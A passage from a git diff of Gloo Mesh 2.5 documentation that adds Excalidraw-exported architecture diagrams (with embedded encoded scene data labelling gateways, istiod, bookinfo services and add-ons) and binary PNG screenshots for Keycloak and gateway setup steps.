HUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-5/default/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xcYnD+rlx1MDAwYu1taUh4i1x1MDAxZuldXHUwMDBmxplcdTAwMDS7XHUwMDE4b9GJ1F/tXHUwMDA0VfwoS1xipogpzKDOKISSXHUwMDE4XHUwMDFli6BCXHUwMDFhtKJcdTAwMTVd2tZxpFx1MDAwZnGJuCNcdTAwMGI2J4FcdTAwMDJcZk5cdTAwMTRcdTAwMTLxlaxcdTAwMTkliCBS41x1MDAxM1x1MDAxNpdcdTAwMDTCj+GPilx1MDAxZGLGJINrITmG504lVcT2qV9ihltcdTAwMDQhXHUwMDAycl1cdTAwMTI4fC3ZipjZSPT5d0xw7omAXHTAkIAnTVx1MDAxMeVq0Vx1MDAxZmYh+7Alv3YlMEDp/yzhR6jj71cof0vZ551cdTAwMThIln+7qKRjoFL0XHUwMDE2XHUwMDFk8lxuJfpcdTAwMTLBg2is8Pnxcd9npPM0antIvsDEccDEQVx1MDAxNlx1MDAwNZgp0Px1scq8QVx1MDAxZUFcdTAwMTbWQI2SU5NcdTAwMDa/l1x1MDAwZtc/jiM3iuNcdTAwMTDTtYkzeqblc0dvjnxcZpvsd4nFKGhxXHUwMDFjl33tXHUwMDA2gDCm3vFcXIo4ZpzhzVx1MDAxMZD/Q1x1MDAwZSRcdTAwMDJcdTAwMDLrSlhSXHUwMDE4KsJKXHUwMDExW0OyuVx1MDAxNOCmK1x1MDAxYVx1MDAwM1xuXHUwMDEzXG7BYVx0b1xmtE8ohzBqwXtcblx1MDAxYoSLYKFcdTAwMDVBLUI51GJcdTAwMDSkMlaUILzaMFx1MDAxM1PTrVx1MDAxYutT1tdcdTAwMDZcdTAwMDJcdTAwMDL5KyNcdTAwMDfcoEbtwoEjaUqdiM3u+Fx1MDAwMzYoPH6sjGmrsZCK890gkP+QXHUwMDAyx55Mnq9cdTAwMTZcdTAwMDKoXHUwMDBlMFx1MDAxOVx1MDAwMKHVPWlLUfhcdTAwMWZTXGZcdTAwMTAv0Uyt7OmsXHUwMDAwkDfxm2uZ7LeEP2t66HmWsFx1MDAxMlx1MDAwNOhAKntgdG1cdTAwMTT7KlWofrS6o7th7LP3oGqdl8HjLsLv+9pcdDBGvaPYQiCL6U1cdTAwMDJJm/RcdTAwMTJYzlPbL+FaaVx1MDAwNXZpoGsk/MDQy32pSjKJ93S0/olmvTKJxMUguPnW5VClw2Q4SevPzffZXHUwMDFi6PhW7yBcdTAwMTnB933Unj08iNZTO1xcmPDHW1x1MDAxZE9cdTAwMWRg3YNcdTAwMWbvulx1MDAwNFv3XHUwMDFiXHUwMDFlXHUwMDA2wfqKN89Qm62uaFx1MDAxOdaZ4nxM1Fx1MDAxNpLN/zyDat4xyr1lmzTTXHUwMDAyNlxitm0g2tal165cdTAwMTVvqzVgXHUwMDE4bD2q5UnD5lx1MDAwMUy37Vx1MDAwZnvVSWXcLzXc7bBjXHUwMDE1gq3R7MvWmX2be4BcdTAwM